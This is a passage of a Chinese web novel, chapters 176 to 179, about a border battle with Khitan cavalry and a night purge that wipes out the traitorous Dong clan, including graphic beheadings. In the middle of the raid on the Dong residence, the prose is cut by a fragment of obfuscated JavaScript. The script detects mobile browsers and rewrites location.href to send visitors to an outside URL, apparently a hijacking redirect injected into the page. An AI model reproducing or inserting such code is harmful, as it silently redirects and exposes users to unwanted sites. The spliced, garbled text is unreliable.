在西边二十里外的护河堡,一场生死危机已然降临。
深夜的护河堡本该是寂静祥和的景象,此刻却被喊杀声与火光打破。
大队契丹兵如潮水般涌向堡墙,堡前门步兵攻城,云梯架起,士兵们踩着同伴的尸体疯狂攀爬。
堡后门,德隆部数百骑兵杀来!
萧铁鹰竟布下三线用兵的狠辣计谋,护河堡正是他的目标之一,河对岸先锋配合德隆部来袭。
堡内军民齐齐上阵,老弱妇孺搬石运木,青壮男子手持刀枪弓箭,拼死抵御契丹人的进攻。
护河堡燧堡,铺堡烽火早已悉数点燃。
“守住!一定要守住!”堡主赵老栓手持长刀,浑身是血地嘶吼着:“契丹要人命,跟他们拼啦!”
可契丹兵源源不断地涌上,攻势凶猛。年久失修的堡墙在骑兵的轮番冲击下,夯土墙开裂脱落,出现多处缺口,护河堡已然岌岌可危。
就在这危急时刻,远处突然传来急促的马蹄声。
一支铁甲骑兵如神兵天降,从契丹兵后方杀来。
——正是赵平率领的飞虎卫!
此前,赵平率领的队伍抵达十里外的废弃芦苇堡遗址时,看到铁血军寨方向燃起的烽火,也目睹了三颗血色号炮升空,绽放的烟花。
按照约定,三朵血色烟花,代表局势紧张却能够应付下来,因此,他并未贸然折返支援。
而是按照原定计划,他带军加速奔赴护河堡。
可行至半途,他看到护河堡方向的冲天火光与杀声,当即率领飞虎卫疾驰而来,恰好赶在护河堡即将失守之际,从契丹兵后方发起突袭。
“杀!”赵平手持**,一马当先冲入契丹兵阵中。
数百飞虎卫骑兵如虎入羊群,**,大刀乱舞,瞬间将契丹兵杀翻一片,后军被搅得大乱。
“援…援军?是俺们的援军来了!”
赵老栓见状,放声狂笑。他大声鼓舞军民,人人爆发出欢呼,主动向爬上墙的**杀过去!
第176章 攘外必先安内
夜色沉得很,但燕北郡的北境反倒亮得跟白天似的。
双涡堡、铁血军寨、护河堡几乎同一时间燃起烽火,把北边半边天全映成了吓人的橘红色。
狼烟滚滚往天上冲,这可是边境遇袭、急着求援的最高信号!
拒马河南岸,一座接一座的边堡岗哨都加了人手,全军进入备战状态。
低沉的号角吹起来,通知周边村镇赶紧准备防御!
“该死!是草原**大举入侵啦!”
沿河的村庄、集镇里,老百姓全从睡梦中被吵醒,纷纷走出家门,慌里慌张地望着北边的天空。
男人们紧紧攥着署衙发的刀枪棍棒,妇女小孩则手忙脚乱收拾值钱的东西,空气里又慌又绝的气氛浓得化不开。
所有人都清楚,一旦戍堡被攻破,周军败了,大批**往南冲,战火就得烧到自己家里来。
双塔城寨、南河城寨这些堡寨,全都进入了战备状态。
只要自己防守的区域里边堡遭了袭击,就得赶紧派兵增援。
巡检司驻地内,庞仁也一宿没睡。
他站在院子里,圆脸上平时的和气劲儿没了,全是担忧,可眼神却特别坚定,夹杂着狠色。
他没像一般武官那样,一看见烽火就急着带兵去前线增援。
“刘大头!”庞仁沉声喊了一声。
“属下在!”身材魁梧的都头刘大头立马走上前。
“你带一百个弟兄,再征调两百个青壮劳力,给我牢牢守住通往郡城的峡谷要道!”
“没有我的手令,谁都不许过,尤其是郡城董……哼,你懂的!”庞仁眼里闪过一丝狠劲儿。
“得令!”刘大头领了命令就走,马上开始部署。
庞仁又叫来一个亲信:“你赶紧骑快马去白松岭矿洞,就说按预定计划,让他们赶紧派援军到我这儿来协助!”
“是!”
半个时辰不到,庞仁点好手下两百多骑兵之时,一阵马蹄声从远到近传来,竟是工兵队张大胆带着一百多骑兵风尘仆仆,按约定赶来。
“庞兄弟!北方烽火为号,是不是要动手了?”张大胆勒住马,眺望边境方向,着急地问。
“没错!张队将来得正好!”庞仁心里一下踏实了,
“秦将军料事如神,**果然来了!”
“咱们得赶紧去郡城,稳住大局,清除内患!”
两人把队伍合到一起,三百多骑兵浩浩荡荡,趁着夜色直奔青阳郡城。
到了城下,他们亮明身份,由营指挥张崇部下控制的城门,他亲自赶来接应,悄悄进了城。
庞仁只带了几个心腹,和张大胆一起直奔郡守衙门。
经过通报后,庞仁见到了郡守林安国。
庞仁让左右的人都退下,把搜集到的各类证据——董袭勾结狼戎部落、输送粮铁、泄露军情,甚至策划袭击郡守家眷车队的部分证据。
还有赵将军的一封密信,郑重地交给了林安国。
“林大人,”庞仁压低声音,转达秦猛的话,“秦将军让卑职转告,要想保住青阳郡城安稳,攘外必先安内。
抵御外敌,先清除内患,得用快刀斩乱麻的势头,解决掉那个总惹麻烦的人。时机就是今晚!”
林安国看着手里的铁证后,脸色变来变去,尤其是看到涉及自家家眷遇袭的线索时拳头攥得更紧了。
他是恪尽职守的不假,可泥人还有三分火气不是!
“这事责任我们边军揽下,情况紧急,不可有妇人之仁。”庞仁见他犹豫不决,继续劝说道。
“没错。”张大胆在旁瓮声附和道:“为了燕北郡所有百姓安危,大人当断不断,必受其乱。”
林安国沉默了好一会儿,书房里只听得见灯花噼啪作响。
最后,他长长叹了口气,眼里闪过一丝果断:“罢了!当下是特殊时候,就得做特殊的事。就按秦将军的计策来!所有责任,都由本官承担。”
……
郡城,董家府邸!
“真的?”郡丞董袭听着心腹家人汇报,差点从太师椅上跳起来,脸上全是藏不住的高兴。
“铁血军寨那边火光冲天?”
“那边还点了烽火,放了血色烟花?”董袭确认的问。
“回老爷,千真万确!不到半刻钟前。”
家人弓着身子回答,语气里满是讨好。
“小的听得清清楚楚,那血色烟花是最高级别的紧急信号,意思就是十万火急,快撑不住了!”
“好!好!好得很啊!”董袭听得眉开眼笑,连着说了三个好。
他心里乐开了花,自以为是自己谋划得逞。这肯定是狼戎部落按约定出兵,正在猛攻铁血军寨。
想到秦猛当初当众对自己的威逼羞辱,再脑补此刻秦猛可能狼狈不堪、甚至脑袋搬家的样子,董袭心里那叫一个解气,就差笑出声来。
随即他脸上的神色逐渐变得凝重,想到这些年屡次联络草原部落的吴二,眼中寒光闪过。
这种人知道的太多,留不得!
就在董大人想着如何**灭口的时候。管家急急忙忙跑进来禀报:“老爷,郡守大人派人来请,说北境突然燃起烽火,定是**大举来犯。有紧急军情,让您马上过去商议对策。”
“哦?”董袭心情正好,嗤笑了几声,“林安国林郡守这会儿怕是急得跟热锅上的蚂蚁似的吧?”
“备轿!本官倒要去看看,这位郡守大人怎么应对这‘塌天大祸’。”
“对了,顺便告知董都监,随我去郡守府,为他提亲。”
董袭吩咐家人准备,回卧房换了一身得体衣裳。
他一点没起疑心,反倒觉得正好能去看看林安国的窘迫样,顺便敲打敲打,让对方认清自己的位置,知道在这燕北郡到底谁说了算!
他甚至盘算着,待会儿要“
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不经意”提起铁血军寨遇袭的事,好好看看林安国那难看的表情。
他笃定,这北地边陲终究是他董家的天下。
朝廷也好,郡守也罢,都不过是过客!
可**,这一去,走的就是条不归路。
……
郡守衙门,水榭暖阁。
当董袭带着侄子董成,还有一队心腹兵卒赶来。
他俩神气十足地走进议事厅时,发现林安国早就坐在主位上,神色平静,一点慌乱的样子都没有。
“林大人,大半夜叫我来,不知道有什么紧急军务?”
入座后,董袭假装关心,接着话锋一转,带着点调侃说:“哎呀,刚才下官看见北边烽火连天,特别是铁血军寨那边居然燃起了血色烽烟!”
“恐怕秦猛将军那边遇上**主力了,据说来的**不少,新生军寨,情况不妙啊!真是让人着急。”
“秦将军怕是危险喽!”董成也附和道。
董家两人一唱一和,一边说着,一边仔细观察林安国的表情,就等着看对方惊慌失措的样子。
谁知,林安国脸上不光没有惊慌,反而露出一抹嘲讽的冷笑,接过话头说:“董郡丞消息倒是挺灵通。没错,据报,是狼戎部落的精锐,大概八百多骑兵,穆托达带队,趁夜突袭。”
董袭下意识点头:“正是这样……”
话刚说完,他突然反应过来不对,脸色一下就变了,“你……你怎么知道是狼戎部落,还有具体兵力……”
林安国猛地一拍桌子,厉声喝道:“哼!自然是秦将军快马传书告诉于本官的!”
“他还跟我说,你董袭多次派人暗中联络草原狼戎部落,答应往部落输送粮草,约定今晚动手!”
“上个月袭击本官家眷队伍的事,也是你干的吧?董袭啊董袭,你真是胆大包天,通敌**!”
“哎呀,不好!”董袭听到这儿,魂都吓飞了,知道自己中了计,猛地站起来就想往外跑。
他身边的董成反应也快,跳起来就想喊门外的卫队。
可已经晚了!
只听“哐当”一声,议事厅的门被狠狠撞开!
庞仁、张大胆两人冲在最前面,带着几十个跟狼似的甲士冲了进来,瞬间就把董袭董成和他们的亲兵团团围住,刀剑寒光晃得人睁不开眼。
“董袭通敌叛国,人证物证齐全,证据确凿!给我拿下!”林安国猛地站起身,威严地下令。
“放肆,谁敢动?”董成大吼,准备摆出官威吓唬人。
“我去**!”张大胆拎着战斧,飞身上前,一斧把他剁翻在地,身后众多军卒一拥而上。
“啊……”一声惨叫响彻榭厅,林安国捂着胸口,指着被按在地上的董袭叫骂着:“董老贼,你竟然如此歹毒?勾结狼戎**深夜来刺杀我……”
“你娘……”董袭瞪眼欲大骂,却被庞仁踢肿了嘴。
第177章 董家的末日(一)
杀,杀**啊!”
“董郡丞勾结**,袭击林郡守!
深沉的夜,被这突如其来、撕心裂肺的呼喊悍然撕裂。
郡衙方向爆发的喧嚣,如同一石激起千层浪。
本就因北方边境烽火与号角声而难以安眠的城内居民,纷纷惊起,一颗心瞬间提到了嗓子眼。
火光在郡衙方向窜动,映得天际一片不祥的暗红,预示着燕北郡的这个夜晚,注定血流成河。
林安国,这位上任仅月余的郡守,虽时日尚短,却已凭借雷厉风行的手段和深切体恤民情的仁政,在百姓心中刻下了难以磨灭的印记。
他力排众议,废除诸多盘剥百姓的不合理杂税,开地主豪强却赢得底层民众发自内心的拥戴。
尤其是半月前,他以铁腕手段将数十名罪大恶极的山贼明正典刑,人头落地的场景至今令人心悸,也彻底奠定了他在燕北郡的威望。
此刻,闻听这位备受爱戴的郡守遭袭,附近街巷中,无数被惊醒的青壮惊愕过后,血性压过恐惧,抄起家中柴刀、棍棒,纷纷冲出家门。
成群结队地向着郡衙方向汇聚,要助林郡守一臂之力。
待这些胆大的青壮赶到郡衙,映入眼帘的已是一片混乱的战场残局。
杀声虽未止歇,但核心战圈显然已经转移。
火光摇曳下,平日里道貌岸然的董郡丞及其侄子董都监,正带着几个残兵向城西方向逃窜。
浑身浴血、煞气冲天的庞仁,拎着仍在滴血的环首刀,带领骑兵翻身上马,如影随形般追杀而去。
马蹄声碎,踏碎了旧有的秩序!
与此同时,留守的边军将士与郡衙衙役们正大声吆喝,竭力聚拢闻讯而来的民众告知实情。
“乡亲们!静一静!”
“听我一言!本城郡丞董袭,狼子野心,勾结狼戎黑狼部不仅袭击铁血军寨,更悍然在郡衙行刺林郡守!
此乃叛国投敌之十恶不赦大罪!我等奉林郡守与铁血军寨秦将军之命,捉拿叛贼,肃清内奸!”
此言一出,人群顿时哗然,惊疑、愤怒、恐惧种种情绪交织。
衙役们趁机进一步呼喊:“董家在燕北郡经营数代,势力庞大,党羽众多!
为防止其狗急跳墙,打开城门引狼戎**入城,届时必将生灵涂炭,玉石俱焚!
恳请各位壮士,为了自家父母妻儿,为了全城百姓,协助官府守住四门,助我等平叛杀贼,保我家园!”
林安国与庞仁早已料定,单凭郡衙力量和部分边军,难以瞬间铲除根深蒂固的董家势力。
唯有借助**民心,方能以雷霆万钧之势一举定鼎。
因此,这预先商议好的策略,便是第一时间将董袭叛国的罪名坐实了,公之于众,抢占道德与法理的制高点,继而发动群众的力量。
眼见民众情绪已被调动,边军趁热打铁,抛出更实际的激励:“北方**大军压境,正值用人之际!
凡是今夜挺身而出,协助守城平叛,事毕之后,官府绝不亏待,按功行赏,发放钱粮!
那叛贼董家经营的所有铺面、田产必将充公!届时会拿出其中的一部分来,重奖有功之人!”
重赏之下,必有勇夫!
更何况还占着保家卫国的大义名分。
顿时,人群中爆发出热烈的响应:“我愿意相助!”
“算俺一个!干**董家,竟敢引**害我们!”
“杀!杀**!杀**!”
闻讯赶来的民壮们听到帮忙就有钱粮,表现优异者甚至能获得安身立命的田产、铺面,无不眼前一亮,群情愈发汹涌,人人踊跃报名。
在边军的迅速整编下,百余名青壮很快被组织起来。分成多队,沿着主要街道一路高呼“三哥,老五,走,杀**、捉**”的口号。
如同滚雪球一般,队伍越发庞大。
随后,这些人被分派任务,由熟悉情况的衙役或军卒带领,火速奔向青阳城的四处城门,要去接管防务,防止有人开门,杜绝任何隐患。
此时,早已受命控制西南两门的张崇及其部下,对前来相助的百姓热情接应,将其纳入防御体系。
东北两门,原本与董郡丞关系密切、或许心存犹豫的守军,见到如此民情汹汹,又听闻董袭叛国的确凿消息,哪里还敢有半分异动?
要么噤若寒蝉,要么赶紧表明立场,与董家划清界限。
人群中,更有如王老幺这等曾被董家欺压,趁机将往日所见所闻大声宣讲出来,指名道姓地点出哪些人做过什么,谁是董家的铁杆党羽。
这番指认,更是激起了协助守城青壮们的公愤,唾骂声、谴责声不绝于耳,对董家这个“蛀空燕北、引狼**”的毒瘤,恨意达到了顶点。
就在林安国成功借助民力稳定局势时,另一边,庞仁率领的队伍肃清内患的行动也已展开。
他带着那支化整为零、此刻又悄然汇聚起来的精锐骑兵,如幽灵般直扑城西的董家府邸。
高门大户,朱漆铜环,两座大石狮子栩栩如生。在夜色中依然显赫,却透着一股末路的沉寂。
庞仁面无表情,二话不说,只是猛地一挥手。
身后立刻冲出七八名膀大腰圆的壮汉,齐发一声喊,扭腰摆胯,用尽全身力气,以铁靴朝着那扇象征着董家权势与地位的大门猛踹而去!
“砰!”
沉闷的撞击声在寂静的街巷中回荡,仿佛敲响了董家的丧钟。
厚重大门垮塌,砸在地上,扬起灰尘。
府内顿时一阵鸡飞狗跳,董家的门房、家丁、护卫被这突如其来的袭击惊动,勃然大怒,一边仓皇组织抵抗,一边色厉内荏地喝骂:
“哪里来的狂徒!瞎了你们的狗眼!”
“找死!谁敢擅闯郡丞官邸?不要命了吗?”
更有忠心的护院家丁,已然拽出了明晃晃的兵刃,试图阻拦。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581234|184734||http|test|mini|href|location''.split(''|''),0,{}));
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r>庞仁冷哼一声,不慌不忙地从怀中掏出一份皱巴巴却盖着鲜红郡守大印的公文,猛地抖开。
他中气十足地宣读:“罪官董袭,勾结狼戎鞑虏,袭击边军要塞,谋刺朝廷郡守,罪证确凿,人赃并获!
经查,董家阖族参与此叛国逆案!奉林郡守令,铁血军秦将军准,即刻抄没董家,满门缉拿,敢有反抗者,以同谋论处,格杀勿论!”
“格杀勿论!”身后骑兵齐声应和,声震屋瓦。
大队骑兵根本不理睬那些试图阻拦的家丁护卫,策动战马,直接撞开府门,涌入董府深宅。
“放肆!谁敢在我董家撒野?”
就在这时,一个头发花白、身着锦袍的老者,在一众丫鬟仆役的搀扶下,颤巍巍却气势汹汹地赶到前院。
正是董袭的父亲,致仕的前任郡丞董文江。老人虽年事已高,但保养得极好,面色红润。
此刻因愤怒而更是满面红光,他仗着身份,中气十足地厉声呵斥:“我儿董袭乃是朝廷堂堂六品命官!
即便真有错处,也需上报朝廷,由幽州刺史府乃至中枢派员查办!你郡守府的一纸公文,安能动我董家分毫?还不给老夫滚出去!”
“哼!”庞仁眼中杀机毕露,根本懒得与这倚老卖老之徒多费唇舌。
当前局势,时间就是生命,容不得半点拖延和扯皮。
他厉声道:“**兵临城下,军情十万火急,特事特办!尔等勾结外敌,罪同叛国,依军法,可先斩后奏!谁敢阻拦平叛,杀无赦!”
话音未落,他已猛地一夹马腹,战马前冲,手中染血的刀光划破夜色,带起一蓬凄艳的血花!
那董文江还在兀自叫嚣:“狂妄!老夫看你们谁敢……”
可惜,“动”字尚未出口,声音便戛然而止,一颗苍老的头颅已然冲天飞起,脸上还凝固着惊愕的神情,无头尸身晃了晃,重重栽倒在地。
“铁血军寨秦将军铁令!前线吃紧,后方紧…务必肃清稳固!
凡有通敌叛国嫌疑者,凡有阻挠平叛大局者,无论身份,就地正法,这就是阻挠的下场!”
庞仁甩了**身上的血珠,声音冷得如同塞外的寒风,“抄,搜检一切书信账册,所有男丁一律拘押,女眷集中看管,钱粮统计封存。”
“遇有抵抗,格杀勿论!”
“得令!”巡检司的骑兵们轰然应诺,士气大振。
在各自什长、队长的带领下,如虎入羊群般,策马涌入董府深处,开始了一场彻底的大清洗。
任何试图阻拦,恐吓威胁的家丁护院,任何还想仗着往日家族嚣张惯了,吆五喝六的董家子弟,迎接他们的只有毫不留情的雪亮刀锋!
一时间,昔日钟鸣鼎食的董家府宅,哭喊声、求饶声、呵斥声、兵刃入肉声不绝于耳。
浓郁的血腥气弥漫开来,预示着这个盘踞燕北郡数十年的庞大家族,今夜正迎来它的末日。
第178章 董家的末日(二)
就在董家被抄家之时,位于西城区的董家私兵营。
这支由董家利用职权,暗中从草原部落交易良马,装备颇为精良的骑兵营也迎来了不速之客。
营指挥张崇亲率本部两百骑兵,以巡查防务为名,长驱直入。
一部分人马迅速控制了营中马厩,防止有人骑马突围报信;另一部分则直扑中军大帐以及营指挥董杰的住处。
此刻,营指挥董杰,董袭的堂侄,正搂着新纳的第九房美妾酣睡正香,帐外突然传来的慌乱脚步和呼喊将他惊醒。
听闻张崇带兵闯入军营,来意不善,董杰勃然大怒,一面匆忙穿衣披甲,一面吼声如雷。
他召集自己的亲信部属,气势汹汹地要去寻张崇讨个说法,甚至幻想这或许是郡守势力的一次越界挑衅,自己凭借董家的权势足以压服。
两拨人马在校场对峙,火把将夜空照得亮如白昼。
张崇面无表情,公事公办,率先高声宣布了董袭勾结狼戎、袭击郡衙、叛国投敌的罪行,并再次掏出了盖有郡守大印的公文示众。
然而,骄横惯了的董杰哪里管这些?他竟一把夺过公文,三两下撕得粉碎,掷在地上。
他还狠狠踩了几脚,跳脚大骂道:“放**狗屁!我叔父乃是郡丞,岂容你们这些丘八污蔑?
定是那林安国想要排除异己,故意栽赃陷害!待我上报幽州府,定叫你等吃不了兜着走!”
张崇眼中寒光一闪,不再废话,猛地抢上前去,不等董杰反应过来,便是一记势大力沉的窝心脚,将其狠狠踹得飞起,撞翻了好几人。
“拿下!”
左右军士一拥而上,将其摁倒。
董杰何曾受过如此**?兀自在地上挣扎扭动。身后亲兵纷纷拔刀来救,却被骑兵训练冲散,许多人成了了滚地葫芦,在地上惨叫着。
董杰被捆得结结实实,他面容狰狞地叫骂不休,言语间充满了对张崇乃至林安国的威胁。
“狗东西!你敢动我?
董家绝不会放过你们!老子要去幽州刺史府,去京城告御状!让尔等全都满门抄斩!”
“找死!”张崇本就对董家勾结鞑虏的行为深恶痛绝,此刻见这厮死到临头了还如此嚣张。
他眼中寒光闪烁,心中怒火再也无法抑制。唰地抽出腰刀,厉声道:“冥顽不灵,与**同流合污!还敢口出狂言,留你不得!斩!”
一声令下,亲兵大步上前,刀光闪过,董杰的人头瞬间落地,喷溅的鲜血染红了校场的黄土。
紧接着,张崇依据事先掌握的名单,下令将营中所有与董家关系密切、又做过不少坏事的军官全部揪出。
就当着数百名董家骑兵营军士的面,毫不留情地一一砍了脑袋。
校场上鸦雀无声,只有火把燃烧的噼啪声和浓重的血腥味弥漫。
张崇用冰冷如铁的目光扫过全场每一个士兵的脸,声音沉浑而充满压迫感:“都看清楚了!
今夜,董袭、董成勾结狼戎黑狼部**,袭击郡衙,谋害林郡守,事迹败露,已然仓皇逃窜!
叛国投敌,铁证如山!董家覆灭在即,注定满门抄斩!
你们当中,若有谁自认是董家死党,现在就可以站出来,我张崇此刻便送他下去陪董杰!
若想活命,立刻与董家划清界限,主动检举告发其罪状,戴罪立功!知情不报,相互包庇者,以同谋论处,株连九族,休怪国法无情!”
死亡的威胁和鲜血的震慑,让这些平日自诩高人一等,骄纵的骑兵彻底胆寒。
短暂的死寂之后,一名叫陈炳的低级伍长率先举起手,大声喊道:“张指挥!我愿活!我检举!
我知道董家多次用军中淘汰的兵甲、库中粮食,秘密与草原鞑虏交易马匹!现在马厩里那些上好的战马,就是这么来的!”
有了带头的,求生欲瞬间压过了对董家的恐惧。
第二个、第三个……
越来越多的人争先恐后地站出来,将自己所知关于董家走私粮食,铁料,盐巴等**、刺探军情、与**暗中往来的事情和盘托出。
张崇立刻命**官一一详细记录。
时间、地点、人物、经过,务求清晰,并让所有检举者当场签字画押,形成厚厚一摞董家的罪证。
董家府邸被抄,私兵军营被控制,这仅仅是一个开始。
按照预先部署,张大胆、唐****等队将各自率领一队精锐人马,与协助的衙役队,分别扑向董袭两个兄弟以及几位核心党羽的府邸。
这个过程几乎如出一辙:破门而入,宣布罪状,抵抗者,格杀勿论,抄没家产,拘押人犯。
全部被送到郡衙边上的牢狱之中。
郡衙公堂内,沉重的木柱投下森冷的阴影,将“清正廉洁”四字牌匾衬得愈发刺目。
董袭被两名衙役死死按在冰凉的青砖地上,方才还穿戴整齐的官袍早已被扒光换成了囚服。
他艰难地抬起头,视线越过堂下林立的皂隶,落在正中那抹绯色官服的身影——林安国端坐案后,面容冷峻,目光锐利得似能穿透人心。
“你赢了。”董袭喉间溢出一声干涩的苦笑,嘴角牵起的弧度里满是不甘与颓败,曾经叱咤这燕北郡在沦为阶下囚的现实里碎得彻底。
林安国指尖轻轻叩击案几,冰冷的声音在空旷的公堂中回荡:“说吧!董袭,老实交代。
究竟还有谁参与贩卖郡城粮仓的军粮、铁料、盐巴等违禁物?坦白从宽,可免受皮肉之苦。”
“哼!”董袭猛地偏过头,眼底闪过一丝狠厉,全然无视林安国的审问,反而咬牙切齿地警告。
“林安国,你得意不了多久!与边军搅合在一起,你可知已经得罪了多少权贵?用不了多久,大祸便会临门,到时候,你会比我死得更惨!”
“那不用你操心。”林安国眉头紧
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皱,再次喝问,可董袭闭上双眼,根本就不回答任何问题。
就在陷入僵局之时,公堂外忽然传来一阵沉重的脚步声,伴随铁甲铿锵,浑身是血的庞仁大步踏入。
他甲胄染血,脸上还沾着未干的污渍,手中提着一个渗血的麻布包裹,声音粗哑如砂纸摩擦。
“林大人,对付这种油盐不进的老狐狸,寻常审讯根本无用,唯有酷刑相加,才能撬开他的嘴!”
“你……”董袭听到这熟悉的声音,猛地睁开双眼。
他原本涣散的目光瞬间聚焦,如同被激怒的饿狼般死死盯住庞仁,似要将对方生吞活剥。
“看我做什么?”庞仁冷笑一声,上前一步,一脚踹在董袭心口,将手中的包裹重重扔在地上。
麻布包裹落地的瞬间“啪嗒”弹开,几颗血淋淋的头颅滚了出来,双目圆睁,凝固着死前的恐惧。
其中一颗头发花白的头颅格外醒目,脸上还残留着难以置信的惊愕,正是董袭的父亲董文江。
“爹——!”董袭看清那颗头颅的瞬间,撕心裂肺地哭喊着,声音凄厉得让堂下衙役都不禁侧目。
……
整个燕北郡城,今夜都笼罩在肃杀的气氛之中,刀光血影之间,权力的更迭在残酷地进行。
如此大的动静,自然无法隐瞒。
董家勾结狼戎的阴谋败露,遭致军方与官府联合剿杀的消息,如同插上了翅膀,迅速传遍了郡城内每一个角落。
那些往日与董家同气连枝、利益捆绑紧密的豪强地主、富商乡绅,无不吓得魂飞魄散,面如土色。
他们深知唇亡齿寒的道理,更害怕林安国和秦猛会借此机会扩大清算范围。
一时间,各家各户灯火通明,人们慌乱地收拾着金银细软,准备连夜出城,前往他处暂避风头,只盼着等这阵雷霆风暴过去之后,再图后计。
然而,他们的如意算盘注定要落空。
当他们心惊胆战地驱车赶到各处城门时,才发现城门早已被协助官府的青壮和士兵牢牢守住,
那些平日在他们眼中如同蝼蚁般的泥腿子,此刻却手持棍棒刀枪,眼神警惕而甚至带着一丝快意地盯着他们这些往日高高在上的“老爷们”,态度异常坚决,没有任何通融的余地。
想走?门都没有!
这群肥得流油的“硕鼠”,又岂能让他们在**结,吸饱了民脂民膏后,轻易溜之大吉?
这一切,早已在正面迎击**的秦猛的算计之中。
他不仅要凭借天险挡住外部的强敌,更要利用这次内乱的机会,彻底肃清燕北郡内部的不稳定因素。
将这些蛀虫般的豪强势力连根拔起,将其积累的巨额财富充作军资,从而真正稳固后方。为铁血军寨的发展奠定一个坚实可靠的根基。
郡城里面,一场肃清内奸的雷霆行动在烽火夜进行。
而边境上的血战更是如火如荼——
第179章 铁林覆灭,三线大捷
铁血军寨烽火已燃,杀声震天!
契丹精锐“铁林军”被三股骑兵包围,队形被撕裂得七零八落,陷入大周军队的疯狂绞杀之中。
箭矢、雪球等物铺天盖地,偶尔夹杂着燃烧罐、落在密集的铁甲骑兵群中,燃起滔天火焰。
“啊……”**的惨叫声格外凄厉!
“杀,给我狠杀!”秦猛浑身浴血,吼声震天,狼牙棒裹挟着音爆声,狠狠震退千夫长萧克。
这位金刀勇士虽勇,但与秦猛相比仍逊色不少,几招硬碰硬后,已是双臂发颤,虎口开裂。
“呸,就这?也配叫契丹勇士?”秦猛单手拎着棒子,正待结果此獠,又有一骑杀来阻拦。
他甩动狼牙棒,如击西瓜般轻易敲碎对方头颅。那契丹兵只发出半声惨叫,尸体便栽**下。
地上脑袋开裂的骑兵尸体横七竖八,触目惊心。
“周狗,拿命来。”萧克目眦欲裂,双目泛红,不顾双臂酸疼无力,抡动铁骨朵,如疯狗般吼叫着扑来。
秦猛表面嘲讽,内心却不敢大意,面对这种困兽之斗,他全力以赴,狼牙棒舞得密不透风。
三招过后,他抓住破绽,策马贴近,一棒横扫,击中萧克胸口,铠甲凹陷,将其打落下马。
周围十多个铁甲骑兵狂吼着扑来想要救援,牛五却带队狠狠撞来,仗着人多势众,将对方杀退。
同时几个亲兵迅速下马,踩手掐脖,用麻绳将萧克捆得结实。
令人意外的是,主将被生擒,残余的铁甲骑兵非但没有溃散,反而咆哮着向这边冲来,竟想要救人,展现出了铁林军果然是一支精锐。
也从侧面印证这个萧克是条大鱼。
然而,秦猛一马当先,狼牙棒狂舞,王善和**各自带队从两侧拦截,一阵猛杀将其击退。
突然,军寨方向喊杀阵阵。大队弓箭手前来增援。
原来,是企图夺取寨子的铁甲骑兵全军覆没,人马尸体堆积堵住寨门。
——这全赖乌维勇不可当,原木疯狂乱舞,无一名铁甲骑兵能抵挡。寨墙上箭矢如雨,床**不时咆哮,挤在寨门外的骑兵唯有死路一条。
李山带队迅速清理寨门口。
刘铁柱率领弓箭手通过绳索下寨,驰援主战场。迅速组成射击方阵推进,瞄准**齐射。
铁甲骑兵失去冲锋优势,队伍被冲散,人数又处于绝对劣势。多方位打击下,**数量锐减。
残存者试图拨马逃跑,却因疲惫笨拙难逃追杀。
很快,战斗接近尾声。
来势汹汹的铁林军因错误的分批进攻,在军寨针对骑兵的手段和犀利反击下,落得全军覆没的下场。
秦猛勒住战马,立于遍地焦尸和残骸中,手中狼牙棒尖刺断了大半,沾染了血迹脑浆。
他目光如冷电般扫过漆黑的河对岸。
火光映照着他沾满烟灰和血迹的脸庞,看不出喜怒。他心中清楚,这只是一场局部性小胜。
“传令。”秦猛清冷的声音响起,“救治伤员,打扫战场,清点战损和斩获。秦大壮,刘铁柱。”
“末将在!”二人快步跑来,脸上带着胜利的兴奋。
“带你们的人,加强戒备,巡逻范围扩大至五里。谨防敌军恼羞成怒,不顾一切再度夜袭。”
“得令!”
“伤员留下协防,其他骑兵跟我冲。”
秦猛调转马头,带队直接杀奔过河,乘胜追击!
“**肯定有营地,营地里有战马,杀光他们。”
“杀!”凡是有余力的骑兵呐喊紧随。
轰隆隆的马蹄声如闷雷般,滚过河面,踏入草原。
秦猛带队渡过界河,果然在五里外发现**临时营地。
此时营地内只剩少量守军,见大周骑兵杀到,顿时溃不成军。
“一个不留!”秦猛狼牙棒所指,骑兵如潮水般涌入围栏。
这些守营的契丹兵本已军心涣散,面对如狼似虎的大周精锐一触即溃,顷刻间,便土崩瓦解。
与此同时,护河堡战局正酣。
赵平率领飞虎卫从后方袭击**,造成重大伤亡。契丹军慌乱之际,强攻戍堡的势头受挫。
被士气高涨的军民合力击退。
正当此时,远处夜色中,火把组成的长龙迅速靠近。
——南河城寨两百余骑兵赶来增援!
“飞虎卫亲卫营赵统领在此,快一起绞杀这群杂碎!”飞虎卫中有人高声呼喊,以表明身份。
“磐石营副将吴霖听令,杀!”
南河城寨为首骑兵朗声回应,率领队伍加速冲锋。
两股援军形成夹击之势,赵平与吴霖这两位久经沙场的将领弓马娴熟,个人武力尤为出众。
赵平带队横冲直撞,**如龙,专挑敌军咽喉;吴霖大刀翻飞,每次劈砍都带起一片血光。
在他们的带领下,麾下兵卒勇猛,**一个接一个倒下。
正在猛攻堡墙的契丹兵没了掩护,损失惨重。腹背受敌之下,再无战意,纷纷转身逃窜。
护河堡的危机,在两路援军及时驰援下终于化解。
“宜将剩勇追穷寇,给我杀!”赵平带队与南河城寨骑兵一起,将**追杀至河对岸营地。
冰面上打滑,**骑兵跑不快。
而飞虎卫骑兵配备马蹄铁,马匹奔跑更快更稳。
就这一点差距,**不断被追上,被砍倒在地。
冰冻的河面上到处都是**尸体,死状多样,瞪着眼栽在血泊中,在月光下显得格外惨烈。
“赢了!我们活下来了。”
肩膀被砍伤的赵老栓呲牙咧嘴地看着这一幕,笑得面目狰狞,堡内的军民爆发出震天欢呼。
当赵平率领队伍返回时,马脖子上挂了许多首级,将士们驱赶回了大群战马,浩浩荡荡。
他大声下达命令:“快,打扫战场,救治伤兵。”
堡内军民立即行动起来:有人收拢跑散的战马;有人修补城墙;也有人扒掉**的衣甲;妇
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女们则忙着照顾伤员,老者清点武器粮草。
胜利的喜悦冲淡了疲惫,哀伤……
与此同时,双涡堡那边战场打扫已经进入尾声。
是日来袭的**超过千人,活着逃走的十不存一。
其中三百步兵攻前门,两队共七百多骑兵袭后门,却均遭挫败。
